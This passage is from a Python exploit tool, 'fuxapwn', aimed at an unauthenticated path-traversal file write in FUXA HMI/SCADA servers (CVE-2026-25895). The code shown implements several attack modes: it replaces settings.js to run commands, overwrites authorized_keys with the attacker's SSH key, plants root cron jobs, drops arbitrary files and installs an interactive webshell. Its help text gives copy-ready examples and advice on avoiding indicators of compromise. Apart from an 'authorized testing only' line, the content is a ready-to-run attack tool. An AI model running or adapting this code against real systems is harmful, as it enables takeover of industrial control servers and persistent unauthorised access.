\\&#8221;EACCES\\&#8221;:\\n                    print(\\&#8221;[-] Canary write failed (EACCES). FUXA lacks write \\&#8221;\\n                          \\&#8221;permission at the canary path. Use &#8211;canary to pick \\&#8221;\\n                          \\&#8221;a writable target (FUXA&#8217;s own _appdata dir, \/tmp, \\&#8221;\\n                          \\&#8221;or \/home\/\\u003cfuxa-user\\u003e\/).\\&#8221;, flush=True)\\n                elif errno == \\&#8221;ENOENT\\&#8221;:\\n                    print(\\&#8221;[-] Canary write failed (ENOENT). The parent directory \\&#8221;\\n                          \\&#8221;of the canary path does not exist on the target. Use \\&#8221;\\n                          \\&#8221;&#8211;canary to point at an existing directory.\\&#8221;,\\n                          flush=True)\\n                else:\\n                    print(\\&#8221;[-] Canary write failed. The instance may already be \\&#8221;\\n                          \\&#8221;patched, secured by an upstream WAF, or the appDir \\&#8221;\\n                          \\&#8221;depth is wrong (try &#8211;depth 12).\\&#8221;, flush=True)\\n                if not args.force:\\n                    return 1\\n    \\n        # 2) Mode-specific follow-up\\n        if args.mode == \\&#8221;canary\\&#8221;:\\n            print(\\&#8221;[+] Done. Canary stage only (use &#8211;mode for more).\\&#8221;, flush=True)\\n            return 0\\n    \\n        if args.mode == \\&#8221;settings-rce\\&#8221;:\\n            if not args.cmd:\\n                print(\\&#8221;[-] &#8211;cmd is required for mode=settings-rce\\&#8221;, flush=True)\\n                return 2\\n            if not args.appdata:\\n                print(\\&#8221;[-] &#8211;appdata is required for mode=settings-rce \\&#8221;\\n                      \\&#8221;(absolute path to FUXA&#8217;s _appdata directory, e.g. \\&#8221;\\n                      \\&#8221;\/tmp\/FUXA-1.2.9\/server\/_appdata)\\&#8221;, flush=True)\\n                return 2\\n            real_settings = _fetch_real_settings_for_payload(ex)\\n            target = posixpath.join(args.appdata.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;), \\&#8221;settings.js\\&#8221;)\\n            print(f\\&#8221;[*] Stage 2 \u2014 writing replacement settings.js to {target}\\&#8221;,\\n                  flush=True)\\n            res = ex.write_arbitrary(target,\\n                                     payload_settings_js_rce(args.cmd,\\n                                                             real_settings),\\n                                     appdir_depth=args.depth,\\n                                     file_type=\\&#8221;svg\\&#8221;)  # svg = raw text write\\n            print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\n                  f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\n            if not res[\\&#8221;success\\&#8221;]:\\n                errno = res.get(\\&#8221;errno\\&#8221;)\\n                if errno:\\n                    print(f\\&#8221;[-] Write failed with errno={errno}.\\&#8221;, flush=True)\\n                return 1\\n            print(\\&#8221;[+] settings.js replaced. Payload will execute on the next \\&#8221;\\n                  \\&#8221;FUXA process start (admin restart, package update, host \\&#8221;\\n                  \\&#8221;reboot, or watchdog respawn).\\&#8221;, flush=True)\\n            return 0\\n    \\n        if args.mode == \\&#8221;ssh-key\\&#8221;:\\n            if not args.pubkey:\\n                print(\\&#8221;[-] &#8211;pubkey FILE is required for mode=ssh-key\\&#8221;, flush=True)\\n                return 2\\n            if not args.home:\\n                print(\\&#8221;[-] &#8211;home is required for mode=ssh-key (e.g. \/home\/fuxa \\&#8221;\\n                      \\&#8221;or \/root, depending on which user FUXA runs as \u2014 \\&#8221;\\n                      \\&#8221;determine this with &#8211;mode recon first)\\&#8221;, flush=True)\\n                return 2\\n            with open(args.pubkey, \\&#8221;r\\&#8221;, encoding=\\&#8221;utf-8\\&#8221;) as f:\\n                pubkey = f.read()\\n            home_posix = args.home.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;).rstrip(\\&#8221;\/\\&#8221;)\\n            target = posixpath.join(home_posix, \\&#8221;.ssh\\&#8221;, \\&#8221;authorized_keys\\&#8221;)\\n    \\n            # Derive the account name from the home path for the success hint.\\n            # \/home\/anthony -\\u003e anthony, \/root -\\u003e root, otherwise leave placeholder.\\n            if home_posix == \\&#8221;\/root\\&#8221;:\\n                target_user = \\&#8221;root\\&#8221;\\n            elif home_posix.startswith(\\&#8221;\/home\/\\&#8221;):\\n                target_user = home_posix[len(\\&#8221;\/home\/\\&#8221;):].split(\\&#8221;\/\\&#8221;, 1)[0] or \\&#8221;\\u003cuser\\u003e\\&#8221;\\n            else:\\n                target_user = \\&#8221;\\u003cuser\\u003e\\&#8221;\\n    \\n            # The write primitive can only OVERWRITE the file \u2014 we have no read\\n            # primitive, so we cannot read-then-append to preserve existing keys.\\n            # Announce this loudly so the operator doesn&#8217;t brick legitimate\\n            # access for the real account owner.\\n            print(\\&#8221;[!] WARNING: this mode OVERWRITES the entire authorized_keys \\&#8221;\\n                  \\&#8221;file. Any keys currently authorized for this account will no \\&#8221;\\n                  \\&#8221;longer work. For engagements where that matters, install a \\&#8221;\\n                  \\&#8221;webshell first, use it to `cat` the existing authorized_keys, \\&#8221;\\n                  \\&#8221;append your key locally, then `&#8211;mode drop` the combined \\&#8221;\\n                  f\\&#8221;file back to {target}.\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Stage 2 \u2014 writing (OVERWRITE) pubkey -\\u003e {target}\\&#8221;,\\n                  flush=True)\\n            res = ex.write_arbitrary(target,\\n                                     payload_authorized_keys(pubkey),\\n                                     appdir_depth=args.depth,\\n                                     file_type=\\&#8221;svg\\&#8221;)\\n            print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\n                  f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\n            if res[\\&#8221;success\\&#8221;]:\\n                # Figure out the host:port for the hint string from &#8211;url.\\n                parsed = urlparse(args.url)\\n                host_hint = parsed.hostname or \\&#8221;\\u003ctarget-host\\u003e\\&#8221;\\n                print(f\\&#8221;[+] Key written. Try:  ssh -i {args.pubkey.replace(&#8216;.pub&#8217;, &#8221;)} \\&#8221;\\n                      f\\&#8221;{target_user}@{host_hint}\\&#8221;, flush=True)\\n                return 0\\n    \\n            errno = res.get(\\&#8221;errno\\&#8221;)\\n            if errno == \\&#8221;ENOENT\\&#8221;:\\n                print(f\\&#8221;[-] Write failed (ENOENT) \u2014 {home_posix}\/.ssh\/ likely does \\&#8221;\\n                      \\&#8221;not exist on the target. fs.writeFileSync cannot create \\&#8221;\\n                      \\&#8221;parent directories. Workaround: drop a webshell or cron \\&#8221;\\n                      f\\&#8221;payload first, run `mkdir -p {home_posix}\/.ssh \\u0026\\u0026 chmod \\&#8221;\\n                      f\\&#8221;700 {home_posix}\/.ssh` through it, then retry this mode.\\&#8221;,\\n                      flush=True)\\n            elif errno == \\&#8221;EACCES\\&#8221;:\\n                print(f\\&#8221;[-] Write failed (EACCES) \u2014 FUXA does not have write \\&#8221;\\n                      f\\&#8221;access to {home_posix}\/.ssh\/. Either &#8211;home is wrong \\&#8221;\\n                      \\&#8221;(recon with &#8211;probe-home to confirm the running user), \\&#8221;\\n                      \\&#8221;or the directory is mode 0700 owned by a different user.\\&#8221;,\\n                      flush=True)\\n            elif errno:\\n                print(f\\&#8221;[-] Write failed with errno={errno}.\\&#8221;, flush=True)\\n            return 1\\n    \\n        if args.mode == \\&#8221;drop\\&#8221;:\\n            if not args.target or args.payload_file is None:\\n                print(\\&#8221;[-] &#8211;target and &#8211;payload-file are required for mode=drop\\&#8221;,\\n                      flush=True)\\n                return 2\\n            with open(args.payload_file, \\&#8221;rb\\&#8221;) as f:\\n                content = f.read()\\n            print(f\\&#8221;[*] Stage 2 \u2014 dropping {args.payload_file} ({len(content)} B)\\&#8221;\\n                  f\\&#8221; -\\u003e {args.target}\\&#8221;, flush=True)\\n            res = ex.write_arbitrary(args.target, content,\\n                                     appdir_depth=args.depth,\\n                                     file_type=args.file_type)\\n            print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\n                  f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\n            if not res[\\&#8221;success\\&#8221;]:\\n                errno = res.get(\\&#8221;errno\\&#8221;)\\n                if errno == \\&#8221;ENOENT\\&#8221;:\\n                    print(f\\&#8221;[-] Drop failed (ENOENT). The parent directory of \\&#8221;\\n                          f\\&#8221;{args.target} does not exist \u2014 fs.writeFileSync won&#8217;t \\&#8221;\\n                          \\&#8221;mkdir. Use an existing directory, or drop a webshell \\&#8221;\\n                          \\&#8221;first and run `mkdir -p` through it.\\&#8221;, flush=True)\\n                elif errno == \\&#8221;EACCES\\&#8221;:\\n                    print(f\\&#8221;[-] Drop failed (EACCES). FUXA lacks write permission \\&#8221;\\n                          f\\&#8221;at {args.target}. Target a directory owned by (or \\&#8221;\\n                          \\&#8221;writable by) the FUXA service user.\\&#8221;, flush=True)\\n                elif errno:\\n                    print(f\\&#8221;[-] Drop failed with errno={errno}.\\&#8221;, flush=True)\\n                return 1\\n            return 0\\n    \\n        if args.mode == \\&#8221;cron\\&#8221;:\\n            if not args.cron_cmd:\\n                print(\\&#8221;[-] &#8211;cron-cmd is required for mode=cron\\&#8221;, flush=True)\\n                return 2\\n            cron_path = args.cron_path\\n            schedule = args.cron_schedule\\n    \\n            # Decide whether to include a user field, based on the cron file\\n            # format conventions. \/etc\/cron.d\/* and \/etc\/crontab require one;\\n            # \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e style files must NOT have one.\\n            if args.cron_user is None:\\n                if cron_path.startswith(\\&#8221;\/etc\/cron.d\/\\&#8221;) or cron_path == \\&#8221;\/etc\/crontab\\&#8221;:\\n                    user_field: Optional[str] = \\&#8221;root\\&#8221;\\n                else:\\n                    user_field = None\\n            elif args.cron_user == \\&#8221;\\&#8221;:\\n                user_field = None\\n            else:\\n                user_field = args.cron_user\\n    \\n            body = payload_cron_job(schedule, user_field, args.cron_cmd)\\n            print(f\\&#8221;[*] Cron file   : {cron_path}\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Schedule    : {schedule}\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Run-as user : {user_field or &#8216;(none \u2014 user-crontab format)&#8217;}\\&#8221;,\\n                  flush=True)\\n            print(f\\&#8221;[*] Command     : {args.cron_cmd}\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Body:\\\\n{body.decode(&#8216;utf-8&#8242;, errors=&#8217;replace&#8217;).rstrip()}\\&#8221;,\\n                  flush=True)\\n            print(f\\&#8221;[*] Stage 2 \u2014 writing cron file\\&#8221;, flush=True)\\n            res = ex.write_arbitrary(cron_path, body,\\n                                     appdir_depth=args.depth,\\n                                     file_type=\\&#8221;svg\\&#8221;)\\n            print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\n                  f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\n            if not res[\\&#8221;success\\&#8221;]:\\n                errno = res.get(\\&#8221;errno\\&#8221;)\\n                if errno == \\&#8221;EACCES\\&#8221;:\\n                    print(f\\&#8221;[-] Cron write failed (EACCES). FUXA is NOT running \\&#8221;\\n                          f\\&#8221;as a user that can write {cron_path}. For non-root \\&#8221;\\n                          \\&#8221;FUXA, try \/var\/spool\/cron\/crontabs\/\\u003cfuxa-user\\u003e \\&#8221;\\n                          \\&#8221;(Debian\/Vixie) or \/var\/spool\/cron\/\\u003cfuxa-user\\u003e \\&#8221;\\n                          \\&#8221;(RHEL\/cronie). Note: those user-crontab paths usually \\&#8221;\\n                          \\&#8221;require mode 0600 which fs.writeFileSync cannot set \u2014 \\&#8221;\\n                          \\&#8221;cronie accepts, Vixie rejects. Use &#8211;mode recon \\&#8221;\\n                          \\&#8221;&#8211;probe-home to confirm the running user first.\\&#8221;,\\n                          flush=True)\\n                elif errno == \\&#8221;ENOENT\\&#8221;:\\n                    print(f\\&#8221;[-] Cron write failed (ENOENT). Parent directory of \\&#8221;\\n                          f\\&#8221;{cron_path} doesn&#8217;t exist on this target \u2014 cron is \\&#8221;\\n                          \\&#8221;either not installed or uses a different layout.\\&#8221;,\\n                          flush=True)\\n                elif errno:\\n                    print(f\\&#8221;[-] Cron write failed with errno={errno}.\\&#8221;, flush=True)\\n                else:\\n                    print(\\&#8221;[-] Cron write failed. Common causes: FUXA is not \\&#8221;\\n                          \\&#8221;running as root (cannot write into \/etc\/cron.d\/), the \\&#8221;\\n                          \\&#8221;target uses a cron variant that requires mode 0600 on \\&#8221;\\n                          \\&#8221;user-crontab files, or the cron path on this distro \\&#8221;\\n                          \\&#8221;is different. Use &#8211;mode recon to confirm the running \\&#8221;\\n                          \\&#8221;user before retrying.\\&#8221;, flush=True)\\n                return 1\\n            if cron_path.startswith(\\&#8221;\/etc\/cron.d\/\\&#8221;):\\n                print(\\&#8221;[+] \/etc\/cron.d\/ is re-read by cron every minute; expect \\&#8221;\\n                      \\&#8221;first execution within 60 s. No FUXA restart required.\\&#8221;,\\n                      flush=True)\\n            else:\\n                print(\\&#8221;[+] Cron file written. First execution within 60 s if \\&#8221;\\n                      \\&#8221;the cron daemon accepts this path and mode (user-crontab \\&#8221;\\n                      \\&#8221;paths often require 0600 \u2014 validate on target). No FUXA \\&#8221;\\n                      \\&#8221;restart required.\\&#8221;, flush=True)\\n            return 0\\n    \\n        if args.mode == \\&#8221;webshell\\&#8221;:\\n            # Required input: the _appdata directory where settings.js lives.\\n            if not args.appdata:\\n                print(\\&#8221;[-] &#8211;appdata is required for mode=webshell \\&#8221;\\n                      \\&#8221;(absolute path to FUXA&#8217;s _appdata directory, e.g. \\&#8221;\\n                      \\&#8221;\/tmp\/FUXA-1.2.9\/server\/_appdata)\\&#8221;, flush=True)\\n                return 2\\n    \\n            # Generate secrets if the operator didn&#8217;t supply them. Reusing the\\n            # same values across runs makes &#8211;mode webshell-exec \/ &#8211;interact\\n            # trivial, so we echo them back prominently.\\n            ws_port = args.ws_port\\n            ws_path = args.ws_path or (\\&#8221;\/_\\&#8221; + secrets.token_hex(12))\\n            if not ws_path.startswith(\\&#8221;\/\\&#8221;):\\n                ws_path = \\&#8221;\/\\&#8221; + ws_path\\n            ws_token = args.ws_token or secrets.token_urlsafe(24)\\n    \\n            real_settings = _fetch_real_settings_for_payload(ex)\\n            target = posixpath.join(args.appdata.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;), \\&#8221;settings.js\\&#8221;)\\n            print(f\\&#8221;[*] Webshell port  : {ws_port}\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Webshell path  : {ws_path}\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Webshell token : {ws_token}\\&#8221;, flush=True)\\n            print(f\\&#8221;[*] Stage 2 \u2014 writing webshell payload to {target}\\&#8221;,\\n                  flush=True)\\n            res = ex.write_arbitrary(target,\\n                                     payload_webshell_js(ws_port, ws_path,\\n                                                         ws_token,\\n                                                         real_settings),\\n                                     appdir_depth=args.depth,\\n                                     file_type=\\&#8221;svg\\&#8221;)  # svg = raw text write\\n            print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\n                  f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\n            if not res[\\&#8221;success\\&#8221;]:\\n                errno = res.get(\\&#8221;errno\\&#8221;)\\n                if errno:\\n                    print(f\\&#8221;[-] Payload write failed with errno={errno}.\\&#8221;,\\n                          flush=True)\\n                else:\\n                    print(\\&#8221;[-] Payload write failed \u2014 see canary diagnostics \\&#8221;\\n                          \\&#8221;above.\\&#8221;, flush=True)\\n                return 1\\n    \\n            print(\\&#8221;[+] Webshell payload installed. Listener activates on the \\&#8221;\\n                  \\&#8221;next FUXA cold start (admin restart, package update, host \\&#8221;\\n                  \\&#8221;reboot, watchdog\/pm2\/systemd respawn, docker restart). \\&#8221;\\n                  \\&#8221;Consider pairing with &#8211;mode cron for a near-immediate \\&#8221;\\n                  \\&#8221;execution window that doesn&#8217;t depend on FUXA restarting.\\&#8221;,\\n                  flush=True)\\n    \\n            # Derive the target host from &#8211;url for helper strings and auto-interact.\\n            parsed = urlparse(args.url)\\n            host = parsed.hostname or \\&#8221;\\&#8221;\\n            use_tls = parsed.scheme == \\&#8221;https\\&#8221;\\n    \\n            curl_url = f\\&#8221;http{&#8216;s&#8217; if use_tls else &#8221;}:\/\/{host}:{ws_port}{ws_path}\\&#8221;\\n            print(\\&#8221;\\\\n[*] Once FUXA restarts, reach the shell with either:\\&#8221;, flush=True)\\n            print(f\\&#8221;    curl -s -H &#8216;X-Auth-Token: {ws_token}&#8217; \\\\\\\\\\\\n\\&#8221;\\n                  f\\&#8221;         &#8211;data-urlencode &#8216;cmd=id&#8217; &#8216;{curl_url}&#8217;\\&#8221;, flush=True)\\n            print(f\\&#8221;    curl -s &#8216;{curl_url}?t={quote(ws_token, safe=&#8221;)}\\&#8221;\\n                  f\\&#8221;\\u0026cmd={quote(&#8216;id&#8217;, safe=&#8221;)}&#8217;\\&#8221;, flush=True)\\n            print(f\\&#8221;    {sys.argv[0]} -u {args.url} &#8211;mode webshell-exec \\\\\\\\\\\\n\\&#8221;\\n                  f\\&#8221;         &#8211;ws-host {host} &#8211;ws-port {ws_port} \\\\\\\\\\\\n\\&#8221;\\n                  f\\&#8221;         &#8211;ws-path &#8216;{ws_path}&#8217; &#8211;ws-token &#8216;{ws_token}&#8217; \\\\\\\\\\\\n\\&#8221;\\n                  f\\&#8221;         &#8211;ws-cmd &#8216;id&#8217;\\&#8221;, flush=True)\\n    \\n            if args.interact:\\n                client = FuxaWebshellClient(\\n                    host=args.ws_host or host,\\n                    port=ws_port,\\n                    ws_path=ws_path,\\n                    ws_token=ws_token,\\n                    timeout=args.timeout + 60,\\n                    use_tls=(args.ws_tls or use_tls),\\n                    verify_tls=not args.insecure,\\n                    proxy=args.proxy,\\n                )\\n                _interactive_loop(client)\\n    \\n            return 0\\n    \\n        print(f\\&#8221;[-] Unknown mode: {args.mode}\\&#8221;, flush=True)\\n        return 2\\n    \\n    \\n    def parse_args(argv: list[str]) -\\u003e argparse.Namespace:\\n        p = argparse.ArgumentParser(\\n            prog=\\&#8221;fuxapwn\\&#8221;,\\n            description=(\\&#8221;FUXA \\u003c=1.2.9 unauthenticated path-traversal arbitrary \\&#8221;\\n                         \\&#8221;file write (CVE-2026-25895). Authorized testing only.\\&#8221;),\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=(\\n                \\&#8221;Examples:\\\\n\\&#8221;\\n                \\&#8221;  # Unauth recon \u2014 identify running user + Node-RED status:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Same, plus an active probe that confirms whether FUXA is root:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon &#8211;probe-root\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Same, plus probe \/home\/\\u003cuser\\u003e\/ to name a non-root service user\\\\n\\&#8221;\\n                \\&#8221;  # when install paths didn&#8217;t leak it:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;probe-root &#8211;probe-home\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Probe with a custom username wordlist (one name per line):\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;probe-home &#8211;home-wordlist .\/client-usernames.txt\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Just prove the write primitive works:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode canary\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Drop a cron job that fires within 60s \u2014 works when FUXA runs\\\\n\\&#8221;\\n                \\&#8221;  # as root (docker default) without waiting for a FUXA restart:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode cron \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;cron-cmd &#8216;id \\u003e \/tmp\/fx-cron.txt 2\\u003e\\u00261&#8217;\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Replace settings.js so the next FUXA restart runs `id \\u003e \/tmp\/pwn`:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode settings-rce \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;appdata \/tmp\/FUXA-1.2.9\/server\/_appdata \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;cmd &#8216;id \\u003e \/tmp\/pwn 2\\u003e\\u00261&#8217;\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Drop an SSH key into the FUXA service user&#8217;s authorized_keys:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode ssh-key \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;home \/home\/anthony &#8211;pubkey ~\/.ssh\/id_ed25519.pub\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Drop an arbitrary file:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode drop \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;target \/etc\/cron.d\/pwn &#8211;payload-file .\/cron.txt\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Install an HTTP webshell listener via settings.js replacement,\\\\n\\&#8221;\\n                \\&#8221;  # then drop into an interactive REPL once FUXA restarts:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode webshell \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;appdata \/tmp\/FUXA-1.2.9\/server\/_appdata \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;ws-port 31337 &#8211;interact\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Same, but skip the canary write to minimize filesystem artifacts:\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode webshell &#8211;no-canary \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;appdata \/tmp\/FUXA-1.2.9\/server\/_appdata &#8211;ws-port 31337\\\\n\\\\n\\&#8221;\\n                \\&#8221;  # Connect to an already-installed webshell (values printed by\\\\n\\&#8221;\\n                \\&#8221;  # the previous invocation):\\\\n\\&#8221;\\n                \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode webshell-exec \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;ws-host target &#8211;ws-port 31337 \\\\\\\\\\\\n\\&#8221;\\n                \\&#8221;       &#8211;ws-path \/_abc123 &#8211;ws-token SECRET &#8211;interact\\\\n\\&#8221;\\n            ),\\n        )\\n        p.add_argument(\\&#8221;-u\\&#8221;, \\&#8221;&#8211;url\\&#8221;, required=True,\\n                       help=\\&#8221;FUXA base URL (e.g. http:\/\/10.10.185.14:1881)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;mode\\&#8221;, default=\\&#8221;canary\\&#8221;,\\n                       choices=[\\&#8221;recon\\&#8221;, \\&#8221;canary\\&#8221;, \\&#8221;settings-rce\\&#8221;, \\&#8221;ssh-key\\&#8221;,\\n                                \\&#8221;drop\\&#8221;, \\&#8221;cron\\&#8221;, \\&#8221;webshell\\&#8221;, \\&#8221;webshell-exec\\&#8221;],\\n                       help=\\&#8221;Exploit stage to run (default: canary)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;canary\\&#8221;, default=None,\\n                       help=\\&#8221;Override the canary write path (default: \\&#8221;\\n                            \\&#8221;\/tmp\/healthcheck \u2014 deliberately bland; no CVE ID in \\&#8221;\\n                            \\&#8221;the filename or content to avoid obvious IOCs).\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;canary-content\\&#8221;, default=None,\\n                       help=\\&#8221;Path to a local file whose contents will be used as \\&#8221;\\n                            \\&#8221;the canary body. Overrides the built-in &#8216;healthcheck \\&#8221;\\n                            \\&#8221;ok\\\\\\\\n&#8217; default. Use when you specifically want a \\&#8221;\\n                            \\&#8221;demo\/PoC marker file on the target.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;no-canary\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;Skip the proof-of-write canary and go straight to \\&#8221;\\n                            \\&#8221;the mode-specific payload. Use when any extra \\&#8221;\\n                            \\&#8221;filesystem artifact is undesirable. You lose the \\&#8221;\\n                            \\&#8221;pre-flight diagnostic \u2014 if your main write fails, \\&#8221;\\n                            \\&#8221;there&#8217;s no earlier signal to distinguish a patched \\&#8221;\\n                            \\&#8221;server from a depth\/path misconfiguration.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;depth\\&#8221;, type=int, default=10,\\n                       help=\\&#8221;How many &#8216;..&#8217; hops to climb out of appDir \\&#8221;\\n                            \\&#8221;(default: 10 \u2014 enough for any real install)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;timeout\\&#8221;, type=int, default=15)\\n        p.add_argument(\\&#8221;&#8211;insecure\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;Skip TLS verification\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;proxy\\&#8221;, default=None,\\n                       help=\\&#8221;HTTP\/S proxy (e.g. http:\/\/127.0.0.1:8080) \u2014 useful \\&#8221;\\n                            \\&#8221;for Burp inspection\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;quiet\\&#8221;, action=\\&#8221;store_true\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;force\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;Continue even if reachability or canary stages fail\\&#8221;)\\n    \\n        # mode=recon\\n        p.add_argument(\\&#8221;&#8211;probe-root\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;Active probe: attempt a 0-byte write to \/root\/ to \\&#8221;\\n                            \\&#8221;confirm whether FUXA is running as root. Leaves a \\&#8221;\\n                            \\&#8221;small marker file; clean up once you have exec.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;probe-home\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\n                       help=\\&#8221;Active probe: iterate \/home\/\\u003cuser\\u003e\/ with 0-byte \\&#8221;\\n                            \\&#8221;writes across a candidate list (or &#8211;home-wordlist) \\&#8221;\\n                            \\&#8221;to infer the running user when paths don&#8217;t leak it \\&#8221;\\n                            \\&#8221;and \/root is not writable. Home dirs are typically \\&#8221;\\n                            \\&#8221;mode 0700, so a successful write strongly implies \\&#8221;\\n                            \\&#8221;FUXA runs as that user. Leaves marker files per \\&#8221;\\n                            \\&#8221;positive hit; clean up once you have exec.\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;home-wordlist\\&#8221;, default=None,\\n                       help=\\&#8221;Path to a newline-separated file of usernames to \\&#8221;\\n                            \\&#8221;probe under \/home\/\\u003cuser\\u003e\/ (overrides the built-in \\&#8221;\\n                            \\&#8221;candidate list). &#8216;#&#8217; comments and blank lines \\&#8221;\\n                            \\&#8221;ignored. Use when you have engagement-specific \\&#8221;\\n                            \\&#8221;naming conventions to try.\\&#8221;)\\n    \\n        # mode=settings-rce\\n        p.add_argument(\\&#8221;&#8211;cmd\\&#8221;, default=None,\\n                       help=\\&#8221;Shell command to embed in the replacement settings.js\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;appdata\\&#8221;, default=None,\\n                       help=\\&#8221;Absolute path to FUXA&#8217;s _appdata directory\\&#8221;)\\n    \\n        # mode=ssh-key\\n        p.add_argument(\\&#8221;&#8211;pubkey\\&#8221;, default=None,\\n                       help=\\&#8221;Path to public key file to append\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;home\\&#8221;, default=None,\\n                       help=\\&#8221;Home directory of the FUXA service user\\&#8221;)\\n    \\n        # mode=drop\\n        p.add_argument(\\&#8221;&#8211;target\\&#8221;, default=None,\\n                       help=\\&#8221;Absolute path to drop the file at (mode=drop)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;payload-file\\&#8221;, default=None,\\n                       help=\\&#8221;Local file whose contents will be uploaded (mode=drop)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;file-type\\&#8221;, default=\\&#8221;bin\\&#8221;,\\n                       choices=[\\&#8221;bin\\&#8221;, \\&#8221;svg\\&#8221;],\\n                       help=\\&#8221;&#8216;bin&#8217; = base64-decoded write (any bytes); \\&#8221;\\n                            \\&#8221;&#8216;svg&#8217; = raw text write, no decoding (default: bin)\\&#8221;)\\n    \\n        # mode=cron\\n        p.add_argument(\\&#8221;&#8211;cron-path\\&#8221;, default=\\&#8221;\/etc\/cron.d\/fuxa-health\\&#8221;,\\n                       help=\\&#8221;Absolute path the cron file is written to. \\&#8221;\\n                            \\&#8221;\/etc\/cron.d\/\\u003cname\\u003e is re-read every minute by cron \\&#8221;\\n                            \\&#8221;when FUXA runs as root. For a non-root FUXA user, \\&#8221;\\n                            \\&#8221;try \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e (Debian\/Vixie) \\&#8221;\\n                            \\&#8221;or \/var\/spool\/cron\/\\u003cuser\\u003e (RHEL\/cronie) \u2014 note \\&#8221;\\n                            \\&#8221;that those paths typically require mode 0600 \\&#8221;\\n                            \\&#8221;which the write primitive cannot set. \\&#8221;\\n                            